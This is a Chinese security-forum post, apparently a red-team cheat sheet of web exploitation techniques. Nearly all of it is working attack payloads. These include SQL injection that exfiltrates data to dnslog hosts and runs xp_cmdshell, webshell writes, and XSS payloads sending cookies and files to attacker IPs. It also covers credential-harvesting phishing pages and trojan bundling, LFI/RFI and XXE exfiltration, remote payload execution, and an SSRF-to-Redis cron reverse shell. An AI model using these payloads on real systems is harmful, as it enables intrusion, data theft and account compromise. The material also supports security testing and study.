安全矩阵

 找回密码
 立即注册
搜索
查看: 625|回复: 0

红队打点及漏洞利用

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-9-10 21:36:26 | 显示全部楼层 |阅读模式
web服务突破一些存在问题的逻辑
  1. 任意用户注册
  2. 可爆破用户名
  3. 爆破用户名,密码
  4. 用户名注入
  5. 万能密码
  6. 用户名Xss
  7. 修改返回包信息,登入他人账户
  8. 修改cookie中的参数,如user,adminid等
  9. HTML源码、JS等查看信息搜集一章
  10. 后台登录参数修改为注册参数/reg、/register、/sign等
  11. 密码重置
  12. 1.重置一个账户,不发送验证码,设置验证码为空发送请求。
  13. 2.发送验证码,查看相应包
  14. 3.验证码生存期的爆破
  15. 4.修改相应包为成功的相应包
  16. 5.手工直接跳转到校验成功的界面
  17. 6.两个账户,重置别人密码时,替换验证码为自己正确的验证码
  18. 7.重置别人密码时,替换为自己的手机号
  19. 8.重置自己的成功时,同意浏览器重置别人的,不发验证码
  20. 9.替换用户名,ID,cookie,token参数等验证身份的参数
  21. 10.通过越权修改他人的找回信息如手机/邮箱来重置
复制代码

JWT攻击手法
  1. https://jwt.io/#debugger-io
复制代码

未校验签名
  1. 将原JWT串解码后修改用户名等身份认证的地方,生成新token发送请求
复制代码

禁用哈希
  1. Alg代表加密方式,修改用户名等身份认证的地方,把HS256设置为none生成token发送请求,使用python的pyjwt模块
复制代码
  1. jwt.encode({'user':'admin','arg1':'value1','arg2':'value2'},algorithm='none',key='')
复制代码

爆破弱密钥
  1. >pip3 install pyjwt
  2. >python3 crack.py
复制代码
  1. import jwt
  2.     import termcolor

  3.     jwt_str = R'token'
  4.     with open('/root/password.txt') as f:
  5.       for line in f:
  6.       key_ = line.strip()
  7.       try:
  8.         jwt.decode(jwt_str,verify=True,key=key_)
  9.         print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--')
  10.         break

  11.       
  12. except(jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError):
  13.         print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--')
  14.       except jwt.exceptions.InvalidSignatureError:
  15.         print('\r',' ' * 64, '\r\btry',key_,end='',flush=True)
  16.         continue
  17.     else:
  18.       print('\r','\bnot found.')
复制代码

注入
注入无列名
  1. http://url/index.php?id=1 order by 6
  2. http://url/index.php?id=-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -
  3. http://url/index.php?id=-1
  4. union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6
  5. union select * from users)a limit 1,1)-- -
复制代码

结合dnslog
  1. MYSQL结合dnslog
  2. ?id=1' and if((select load_file(concat('\\\\',(select database()),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
  3. 显示数据库
  4. ?id=1'
  5. and if((select load_file(concat('\\\\',(select schema_name from
  6. information_schema.schemata limit
  7. {0},1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
  8. 显示表
  9. ?id=1' and
  10. if((select load_file(concat('\\\\',(select table_name from
  11. information_schema.tables where table_schema='dbname' limit
  12. 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
  13. ?id=1' and if((select
  14. load_file(concat('\\\\',(select table_name from
  15. information_schema.tables where table_schema=0x1x1x2x limit
  16. 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
  17. 显示字段
  18. ?id=1' and
  19. if((select load_file(concat('\\\\',(select column_name from
  20. information_schema.columns where table_name='users' limit
  21. 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
  22. 显示数据
  23. ?id=1' and if((select load_file(concat('\\\\',(select hex(user) from users limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
  24. MSSQL结合dnslog
  25. 查数据
  26. ?id=1;DECLARE
  27. @host varchar(1024);SELECT @host=(SELECT
  28. master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) FROM
  29. test.dbo.test_user where [USER] =
  30. 'admin')%2b'.cece.nk40ci.ceye.io';EXEC('master..xp_dirtree
  31. "\'%2b@host%2b'\foobar$"');
  32. Sa密码
  33. ?id=1DECLARE @host
  34. varchar(1024);SELECT @host=(SELECT TOP 1
  35. master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_loginsWHERE
  36. name='sa')+'.ip.port.b182oj.ceye.io';EXEC('master..xp_dirtree"\'+@host+'\foobar$"');
  37. 执行命令
  38. exec
  39. master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp
  40. D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
  41. exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
  42. exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";
  43. postgreSQL结合dnslog
  44. ?id=1;DROP
  45. TABLE IF EXISTS table_output;CREATE TABLE table_output(content
  46. text);CREATE OR REPL+ACE FUNCTION temp_function() RETURNS VOID AS $
  47. DECLARE exec_cmd TEXT;DECLARE query_result TEXT;BEGIN SELECT INTO
  48. query_result (select encode(pass::bytea,'hex') from test_user where id
  49. =1);exec_cmd := E'COPY table_output(content) FROM
  50. E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';EXECUTE
  51. exec_cmd;END;$ LANGUAGE plpgSQL SECURITY DEFINER;SELECT
  52. temp_function();
  53. Oracle结合dnslog
  54. ?id=1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL;
  55. ?id=1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL;
  56. ?id=1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.nk40ci.ceye.io').GETCLOB() FROM sys.DUAL;
  57. ?id=1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL;
复制代码

拿shell
  1. 判断数据库
  2. ;and (select count(*) from sysobjects)>0 mssql
  3. ;and (select count(*) from msysobjects)>0 access
  4. 查库
  5. ?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0 --
  6. ?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0 --
  7. 查表
复制代码
  1. import requests
  2. import re
  3. table_list = ['']
  4.     def get_sqlserver_table(table_list, table_num):
  5.         for num in range(0,table_num):
  6.             # print("','".join(table_list))

  7.             sql_str = "and (select top 1 name from
  8. [xxxx].sys.all_objects where type='U' AND is_ms_shipped=0 and name not
  9. in ('{}'))>0".format("','".join(table_list))
  10.             url = "http://www.xxxxx.cn/x.aspx?cid=1' {} AND 'aNmV'='aNmV".format(sql_str)

  11.             r = requests.get(url, headers = {'User-Agent': 'Mozilla/5.0
  12. (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
  13. Chrome/80.0.3987.87 Safari/537.36'})
  14.             res = re.search(r'\'(.*)\'', r.content.decode('utf-8'),  re.M|re.I)
  15.             table_name = str(res.group(1))
  16.             table_list.append(table_name)
  17.             print("[{}] - TableName: {}".format(str(r.status_code), table_name))
  18.     if __name__ == "__main__":
  19.         get_sqlserver_table(table_list, 16)
复制代码
  1. 判断是否存在xp_cmdshell
  2. and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
  3. 执行命令
  4. ;exec master..xp_cmdshell "net user name password /add"—
  5. 查看权限
  6. and (select IS_SRVROLEMEMBER('sysadmin'))=1--  //sa
  7. and (select IS_MEMBER('db_owner'))=1--   //  dbo
  8. and (select IS_MEMBER('public'))=1--  //public
  9. 站库分离获取服务器IP
  10. ;insert
  11. into
  12. OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;',
  13. 'select * from dest_table') select * from src_table;--
  14. LOG备份
  15. ;alter database testdb set RECOVERY FULL --
  16. ;create table cmd (a image) --
  17. ;backup log testdb to disk = 'c:\wwwroot\shell.asp' with init --
  18. ;insert into cmd (a) values ('<%%25Execute(request("chopper"))%%25>')--
  19. ;backup log testdb to disk = 'c:\wwwroot\shell.asp' –
  20. 2000差异备份
  21. ;backup database testdb to disk ='c:\wwwroot\bak.bak';--
  22. ;create table [dbo].[testtable] ([cmd] [image]);--
  23. ;insert into testtable (cmd) values(木马hex编码);--
  24. ;backup database testdb to disk='c:\wwwroot\upload\shell.asp' WITH DIFFERENTIAL,FORMAT;--
  25. 2005差异备份
  26. ;alter/**/database/**/[testdb]/**/set/**/recovery/**/full—
  27. ;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[testdb]/**/to/**/disk=@d/**/with/**/init--
  28. ;create/**/table/**/[itpro]([a]/**/image)—
  29. ;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init--
  30. ;insert/**/into/**/[itpro]([a])/**/values(木马hex编码)—
  31. ;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=木马保存路径的SQL_EN编码/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init--
  32. ;drop/**/table/**/[itpro]—
  33. ;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init--
  34. PostgreSQL写shell
  35. 连接
  36. >psql -U dbuser -d exampledb -h 127.0.0.1 -p 5432
  37. 查看版本
  38. >select version();
  39. 列出数据库
  40. >select datname from pg_database;
  41. 列出所有表名
  42. >select * from pg_tables;
  43. 读取账号秘密
  44. >select usename,passwd from pg_shadow;
  45. 当前用户
复制代码
编辑

  1. >select user;
  2. 修改密码
  3. >alter user postgres with password '123456';
  4. 列目录
  5. >select pg_ls_dir('/etc');
  6. 读文件
  7. >select pg_read_file('postgresql.auto.conf',0,100); #行数
  8. &
  9. >drop table wooyun;
  10. >create table wooyun(t TEXT);
  11. >copy wooyun FROM '/etc/passwd';
  12. >select * from wooyun limit 1 offset 0;
  13. &
  14. >select lo_import('/etc/passwd',12345678);
  15. >select
  16. array_agg(b)::text::int from(select encode(data,'hex')b,pageno from
  17. pg_largeobject where loid=12345678 order by pageno)a;
  18. 写文件
  19. create table shell(shell text not null);
  20. insert into shell values($<?php @eval($_POST[1]);?>$);
  21. copy shell(shell) to '/var/www/html/shell.php';
  22. &
  23. copy (select '<?php phpinfo();?>') to '/var/www/html/shell.php';
  24. 爆破
  25. MSF>use auxiliary/scanner/postgres/postgres_login
  26. 执行命令版本8.2以下
  27. >create function system(cstring) returns int AS '/lib/libc.so.6', 'system' language C strict;
  28. >create function system(cstring) returns int AS '/lib64/libc.so.6', 'system' language C strict;
  29. >select system('id');
复制代码

XSS
  1. 打COOKIE
  2. <svg/onload="javascript:document.location.href=('http://xx.xx.xx.xx:7777?cookie='+document.cookie)">
  3. 读取HTML
  4. <svg/onload="document.location='http://xx.xx.xx.xx:7777/?'+btoa(document.body.innerHTML)">
  5. 读文件
  6. <svg/onload="
  7. xmlhttp=new XMLHttpRequest();
  8. xmlhttp.onreadystatechange=function()
  9. {
  10.     if (xmlhttp.readyState==4 && xmlhttp.status==200)
  11.     {
  12.         document.location='http://xx.xx.xx.xx:7777/?'+btoa(xmlhttp.responseText);
  13.     }
  14. }
  15. xmlhttp.open("GET","file.php",true);
  16. xmlhttp.send();
  17. ">
  18. XSS+SSRF读取服务器文件

  19. <svg/onload="
  20. xmlhttp=new XMLHttpRequest();
  21. xmlhttp.onreadystatechange=function()
  22. {
  23. if (xmlhttp.readyState==4 && xmlhttp.status==200)
  24. {
  25.     document.location='http://ip:23333/?'+btoa(xmlhttp.responseText);
  26. }
  27. }
  28. xmlhttp.open("POST","request.php",true);
  29. xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  30. xmlhttp.send("url=file:///etc/passwd");
  31. ">
复制代码

XSS克隆钓鱼
  1. 保存js&css到服务器,登录action改为接受密码的文件action="./pass.php"
复制代码
  1. <?php //php
  2.       $user=$_POST['username'];
  3.       $pass=$_POST['password'];
  4.       $file=fopen('pass.txt','a+');
  5.       fwrite($file,$user."|"."pass" . "\n");
  6.       fclose($file);
  7.       echo "<script>window.location.href="http://192.168.0.1"</script>\n";
  8.     ?>
复制代码
  1. 构造payload
  2. <script>window.location.href="http://192.168.0.1/login.html"</script>
  3. php –S 0.0.0.0:8080 –t ./
复制代码

伪造页面钓鱼
  1. 方法1
  2. https://github.com/r00tSe7en/Fake-flash.cn
  3. 添加xss平台模块
  4. window.alert = function(name){
  5. var iframe = document.createElement("IFRAME");
  6. iframe.style.display="none";
  7. iframe.setAttribute("src",'data:text/plain');
  8. document.documentElement.appendChild(iframe);
  9. window.frames[0].window.alert(name);
  10. iframe.parentNode.removeChild(iframe);
  11. }
  12. alert("您的FLASH版本过低,尝试升级后访问该页面!");
  13. window.location.href="http://www.flash.com";
  14. 制作自解压捆绑
  15. 一个马.exe,一个正常exe,全选,winrar添加到压缩文件,选择创建自解压格式压缩文件,高级->自解压选项,设置解压路径,c:\windows\temp\,设置->解压后运行两个exe文件,模式全部隐藏,更新,解压并更新文件,覆盖所有文件。
  16. ResourceHacker修改文件图标
  17. 方法2
  18. if(empty($_COOKIE['flash'])){

  19.     echo
  20. '<script>alert("你当前计算机的Flash软件已经很久未更新,将导致无法正常显示界面内容,请下载安装最新版本!");window.location="http://www.flash.cn.xx.com/"</script>';
  21.     setcookie("flash","true",time()+30*2400);
  22. }
复制代码

CSRF
  1. 查看有无token等验证身份的参数,删掉后是否返回正常
  2. 查看header中referer,origin参数,删掉后是否返回正常
  3. 使用csrftester/burpsuite生成表单,以另一账号和浏览器打开测试
  4. 去掉referer中域名后面的文件夹或文件
  5. 替换二级域名
复制代码

php任意文件读取/下载
  1. readfile()、file_get_contents()、fopen()等读文件的函数不严谨,读取文件路径可控,输出内容。
  2. 下载配置文件
  3. Redis、Weblogic、ftp、mysql、web配置文件、history文件、数据库配置文件
  4. 下载log文件
  5. 下载web文件
  6. /1.php?f=../../etc/passwd
  7. /1.php?f=file:///etc/passwd(file://绕过../的防护)
  8. /1.php?f=file:///etc/passwd
复制代码

php文件包含
函数:
  1. include
  2. require
  3. include_once
  4. require_once
复制代码

常用协议
  1. file:// — 访问本地文件系统
  2. file协议的工作目录是当前目录,使用file:///wwwroot/1.php等同于./wwwroot/1.php可用于绕过一些情况
  3. php:// — 访问各个输入/输出流(I/O streams)
复制代码

​编辑

  1. 读取
  2. /1.php?file=php://filter/read=convert.base64-encode/resource=./1.php
  3. 写入
  4. /1.php?file=php://filter/write=convert.base64-decode/resource=[file]","base64
复制代码

Getshell
  1. https://github.com/D35m0nd142/LFISuite
复制代码

allow_url_include 开启时Getshell
  1. 远程文件包含
  2. /1.php?file=http://remote.com/shell.txt
  3. /1.php?file=php://input  POST:<?php phpinfo();?>
  4. 或使用curl
  5. >curl -v "http://127.0.0.1:8888/ctf/cli/3.php?file=php://input" -d "<?php phpinfo();?>"
  6. 或使用data://协议解析base64的代码
  7. /1.php?file=data://text/plain;base64,PD9waHAgIHBocGluZm8oKTs/Pg==
复制代码

allow_url_include 关闭时Getshell
  1. 攻击机开启共享
  2. /1.php?file=//attacker/1.php
  3. 创建webdav服务,shell文件放入目录包含即可
  4. >docker
  5. run -v /root/webdav:/var/lib/dav -e
  6. ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm
  7. --name webdav bytemark/webdav
  8. Shell文件放入/root/webdav/data
  9. /1.php?file=//attacker/1.php
复制代码

包含日志文件getshell
  1. Fuzz文件
  2. https://github.com/fuzzdb-project/fuzzdb
  3. https://github.com/danielmiessler/SecLists
  4. https://blog.csdn.net/qq_33020901/article/details/78810035
  5. /1.php?file=<?php phpinfo();?>
  6. /1.php?file=../../../../../../../var/log/apache2/access.log
  7. Win下使用phpstudy
  8. 请求/<?php phpinfo();?>
  9. 包含错误日志
  10. /1.php?file=C:\phpStudy\Apache\logs\error.log
复制代码

上传个图片格式的木马直接包含
  1. /1.php?file=/uploadfile/1.jpg
复制代码

限制后缀时
  1. <?php
  2. $file = $_GET['file'].".php";
  3. include($file);
  4. ?><br>
  5. 利用伪协议zip,构造一个zip压缩包,打包一个shell.php,将压缩包更名为png
复制代码
  1. 请求/1.php?file=zip://shell.webp%23shell
复制代码
  1. 也可使用phar协议访问
  2. /1.php?file=phar://shell.webp/shell
  3. 老版本可以使用%00截断
  4. /etc/passwd%00
  5. (需要 magic_quotes_gpc=off,PHP小于5.3.4有效)
  6. /var/www/%00
  7. /etc/passwd/././././././.[…]/./././././.
  8. (需要 magic_quotes_gpc=off
  9. (php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)
  10. 点号截断:
  11. /boot.ini/………[…]…………
  12. (php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)
复制代码

phpinfo-LFI 本地文件包含临时文件getshell
  1. 利用临时文件删除时间差获取shell
  2. 需要一个lfi漏洞+phpinfo页面
  3. 在/tmp/目录下生成个密码为f的一句话木马g
复制代码

​编辑​
  1. LFI文件
复制代码
  1. 执行
  2. >python getshell.py 192.168.0.108 80 100
  3. 80是端口、100是线程
复制代码

​编辑​
  1. http://192.168.0.110/index.php?file=../../../tmp/g&f=echo%20%271%27
复制代码

session + lfi getshell
  1. session.upload_progress.enabled启用时,文件上传会产生进度文件
  2. /var/lib/php5/sess_
  3. /var/lib/php/sess_
复制代码
  1. ####LFI SSH Log >ssh ''@192.168.0.107 >http://192.168.0.107/lfi.php?file=/var/log/auth.log&c=ls
复制代码

RFI&命令注入上线MSF
  1. MSF生成
  2. #use exploit/multi/script/web_delivery
  3. #set target PHP
  4. 注入点注入:
  5. php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.0.107:1234/OgsOFaj3yKH'));"
  6. RFI:
  7. http://www.xx.com/file=http://192.168.0.107:1234/OgsOFaj3yKH
复制代码

XML
  1. XML设计的宗旨是传输数据,而非显示数据
  2. XXE=XML外部实体注入、XML=可扩展标记语言
  3. Xml文件声明
  4. <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
  5. DTD为XML的文档类型定义
  6. 引入外部DTD
  7. <!DOCTYPE 根元素 SYSTEM "filename">
  8. 参数实体+外部实体
  9. <?xml version="1.0" encoding="utf-8"?>
  10. <!DOCTYPE test [
  11.     <!ENTITY % file SYSTEM "file:///etc/passwd">
  12.     %file;
  13. ]>
复制代码

XML注入
  1. 闭合标签,改写xml文件,用户可控,有拼接代码
  2. <?xml version="1.0" encoding="utf-8"?>
  3. <manager>
  4.     <admin id="1">
  5. <username>admin</username>
  6. <password>admin</password>
  7. </admin>
  8. <admin id="2">
  9. <username>root</username>
  10. <password>root</password>
  11. </admin>
  12. </manager>
  13. 若是password可控,拼接代码形成注入
  14. admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>
复制代码

XXE
  1. https://github.com/AonCyberLabs/xxe-recursive-download
  2. 程序解析XML输入时,未禁止外部实体的加载,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害
  3. 判断
  4. 回显路径
  5.     <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "test">%remote;]>
  6. DNSLOG
  7.     http://www.dnslog.cn/
  8. <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY dtd SYSTEM "http://xxx.dnslog.cn/xxe">]>
  9. <xxe>&dtd;</xxe>
  10. Webdav
  11.     存在webdav可使用PROPPATCH、PROPFIND、 LOCK等请求方法接受xml输入形成xxe
  12. Wsdl使用AWVS测试
  13. 挖掘
  14. 如遇与xml交互的地方
  15. <?xml version="1.0" encoding="UTF-8"?>
  16. <!DOCTYPE ANY [  
  17. <!ENTITY test "this is test">
  18. ]>
  19. <root>&test;</root>
  20. 看是否输出
  21. 检查是否支持外部实体
  22. <?xml version="1.0" encoding="UTF-8"?>
  23.    <!DOCTYPE ANY [  
  24.    <!ENTITY % foo SYSTEM "http://attacker/evil.xml">
  25.    %foo;
  26. ]>
  27. 查看你的服务器是否有请求
  28. JSON content-type XXE
  29. 修改Content-Type: application/xml
  30. X-Requested-With: XMLHttpRequest
  31. <?xml version="1.0" encoding="UTF-8" ?>
  32. <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  33. <root>
  34. <参数name>name</参数name>
  35. <参数value>&xxe;</ 参数value>
  36. </root>
  37. 有回显读取本地文件
  38. <?xml version="1.0" encoding="utf-8"?>
  39. <!DOCTYPE creds [  
  40. <!ENTITY goodies SYSTEM "file:////etc/passwd"> ]>
  41. <creds>&goodies;</creds>
  42. 也可去掉文件列目录
  43. file:///root/.sh/id_rsa
  44. 特殊字符
  45. <?xml version="1.0" encoding="utf-8"?>
  46. <!DOCTYPE roottag [
  47. <!ENTITY % start "<![CDATA[">   
  48. <!ENTITY % goodies SYSTEM "file:////tmp/xxx.txt">  
  49. <!ENTITY % end "]]>">  
  50. <!ENTITY % dtd SYSTEM "http://attacker/evil.dtd">
  51. %dtd; ]>
  52. <roottag>&all;</roottag>
  53. evil.dtd
  54. <?xml version="1.0" encoding="UTF-8"?>
  55. <!ENTITY all "%start;%goodies;%end;">
  56. Blind OOB XXE无回显读取
  57. 需使用参数实体,引用外部DTD
  58. Payload
  59. <!DOCTYPE convert [
  60. <!ENTITY % remote SYSTEM "http://ip/test.dtd">
  61. %remote;%int;%send;
  62. ]>
  63. test.dtd
  64. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
  65. <!ENTITY % int "<!ENTITY % send SYSTEM 'http://attacker:9999?p=%file;'>">
  66. 列目录
  67. 远程payload
  68. <!ENTITY % a SYSTEM "file:///"> <!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://ip:80/%a;'>"> %b; %c;
  69. 注入payload
  70. <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker:80/1.xml">%remote;]><root/>

  71. 不同平台支持的协议
复制代码

执行命令 安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。 ]> &xxe; 内网主机探测 可先读取/etc/network/interfaces、/proc/net/arp、/etc/hosts等文件查询IP段 使用脚本 内网端口扫描

]> 4 可使用burpsuite的intruder模块进行遍历 内部DTD利用 Linux %local_dtd; Windows Your DTD code %local_dtd;
  1. <!ENTITY % condition 'aaa)>
  2.     <!ENTITY % file SYSTEM "file:///etc/passwd">
  3.     <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  4.     %eval;
  5.     %error;
  6.     <!ELEMENT aa (bb'>

  7. %local_dtd;
  8. ]>
  9. <message>any text</message>
  10. XXE写shell
  11. 当XXE支持XSL时
  12. <?xml version='1.0'?>
  13. <xsl:stylesheet version="1.0"
  14. xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  15. xmlns:msxsl="urn:schemas-microsoft-com:xslt"
  16. xmlns:user="http://mycompany.com/mynamespace">
  17. <msxsl:script language="C#" implements-prefix="user">
  18. <![CDATA[
  19. public string xml()
  20. {
  21.     System.Net.WebClient webClient = new System.Net.WebClient();
  22.     webClient.DownloadFile("https://x.x.x.x/shell.txt",
  23.                    @"c:\inetpub\wwwroot\shell.aspx");

  24. return "Exploit Success";
  25. }
  26. ]]>
  27. </msxsl:script>
  28. <xsl:template match="/">
  29. <xsl:value-of select="user:xml()"/>
  30. </xsl:template>
  31. </xsl:stylesheet>
复制代码

命令注入
  1. 有时应用程序会接受用户提供的输入并作为参数传递给命令行上的工具。将用户提供的输入传递给命令行总是一个坏主意,应该避免。根据操作系统,您可以使用多种技术来执行其他命令,从而允许攻击者获得 RCE
  2. &
  3. &&
  4. |
  5. ||
  6. ;
  7. `Command`
  8. $(Command)
复制代码

Xpath注入
  1. 类似sql注入
复制代码

SSRF
  1. 定义
  2. 服务端请求伪造
  3. 构造一个由服务器发出请求的漏洞
  4. 服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
  5. 成因
  6. file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()等函数使用不当会造成SSRF漏洞
  7. 挖掘
  8. 转码服务
  9. 在线翻译
  10. 获取超链接的标题等内容进行显示
  11. 请求远程服务器资源的地方,图片加载与下载(通过URL地址加载或下载图片)
  12. 图片、文章收藏功能
  13. 对外发起网络请求的地方,网站采集、网页抓取的地方。
  14. 头像 (远程加载头像)
  15. 一切要你输入网址的地方和可以输入ip的地方。
  16. 数据库内置功能(mongodb的copyDatabase函数)
  17. 邮件系统
  18. 文件处理
  19. 在线处理工具
  20. 从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain
复制代码

XML
  1. <!ENTITY % d SYSTEM "http://wuyun.org/evil.dtd">
  2. <!ENTITY % file system "file:///etc/passwd" >
  3. <!ENTITY % d SYSTEM "http://wuyun.org/file?data=%file">
  4. <!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://wuyun.org/urlin">
  5. <xenc:AgreementMethod Algorithm= "http://wuyun.org/1">
  6. <xenc:EncryptionProperty Target= "http://wuyun.org/2">
  7. <xenc:CipherReference URI= "http://wuyun.org/3">
  8. <xenc:DataReference URI= "http://wuyun.org/4">
  9. <Reference URI="http://wuyun.org/5">
  10. <To xmlns="http://www.w3.org/2005/08/addressing">http://wuyun.org/to</To>
  11. <ReplyTo xmlns="http://www.w3.org/2005/08/addressing">
  12. <Address>http://wuyun.org/rto</Address>
  13. <input message="wooyun" wsa:Action="http://wuyun.org/ip" />
  14. <output message="wooyun" wsa:Action="http://wuyun.org/op" />
  15. <wsp:PolicyReference URI=“http://wuyun.org/pr">
  16. <fed:Federation FederationID="http://wuyun.org/fid">
  17. <fed:FederationInclude>http://wuyun.org/inc</fed:FederationInclude>
  18. <fed:TokenIssuerName>http://wuyun.org/iss</fed:TokenIssuerName>
  19. <mex:MetadataReference>
  20. <wsa:Address>http://wuyun.org/mex</wsa:Address>
  21. </mex:MetadataReference>
  22. <edmx:Reference URI="http://wuyun.org/edmxr">
  23. <edmx:AnnotationsReference URI="http://wuyun.org/edmxa">
  24. <xbrli:identifier scheme="http://wuyun.org/xbr">
  25. <link:roleType roleURI="http://wuyun.org/role">
  26. <stratml:Source>http://wuyun.org/stml</stratml:Source>
复制代码

数据库
MongoDB
  1. db.copyDatabase('\r\nconfig set dbfilename ssrf\r\nquit\r\n’,'test','10.6.4.166:6379')
复制代码

PostgresSQL
  1. SELECT dblink_send_query(
  2. 'host=127.0.0.1
  3. dbname=quit
  4. user=\'\r\nconfig set dbfilename wyssrf\r\n\quit\r\n'
  5. password=1 port=6379 sslmode=disable',
  6. 'select version();’
  7. );
复制代码

MSSQL
  1. SELECT openrowset('SQLOLEDB', 'server=192.168.1.5;uid=sa;pwd=sa;database=master')
  2. SELECT * FROM OpenDatasource('SQLOLEDB', 'Data Source=ServerName;User ID=sa;Password=sa' ) .Northwind.dbo.Categories
复制代码

图片处理函数
  1. FFmpeg
  2. concat:http://wyssrf.wuyun.org/header.y4m|file:///etc/passwd
  3. ImageMagick
  4. fill 'url(http://wyssrf.wuyun.org)'
复制代码

攻击
  1. 测试代码,需安装phpcurl模块apt-get install php7.0-curl
  2. <?php
  3. echo 'r u ok?';
  4. function curl($url){  
  5. $ch = curl_init();
  6. curl_setopt($ch, CURLOPT_URL, $url);
  7. curl_setopt($ch, CURLOPT_HEADER, 0);
  8. curl_exec($ch);
  9. curl_close($ch);
  10. }
  11. $url = $_GET['url'];
  12. curl($url);
  13. ?>
  14. 对内网、本地进行端口扫描,获取服务的banner 信息
  15. 攻击运行在内网或本地的应用程序
  16. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
  17. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
  18. 读取内网资源(如:利用file协议读取本地文件等)
  19. 跳板
  20. 无视cdn
  21. 利用Redis未授权访问,HTTP CRLF注入实现getshell
复制代码

文件读取
  1. >curl -v 'http://192.168.0.110/ssrf.php?url=file:///etc/passwd'
复制代码
​编辑​
  1. ?url=php://filter/read=convert.base64-encode/resource=./1.php
复制代码

端口探测
  1. >curl -v 'http://www.xx.com/ssrf.php?url=dict://127.0.0.1:22/'
复制代码
  1. >curl -v 'http://www.xx.com/ssrf.php?url=dict://127.0.0.1:6379/info'
复制代码
​编辑​
SSRF+Redis
  1. >curl -v 'http://192.168.0.112/ssrf.php?url=gopher://192.168.0.120:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.0.108%2f12345%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
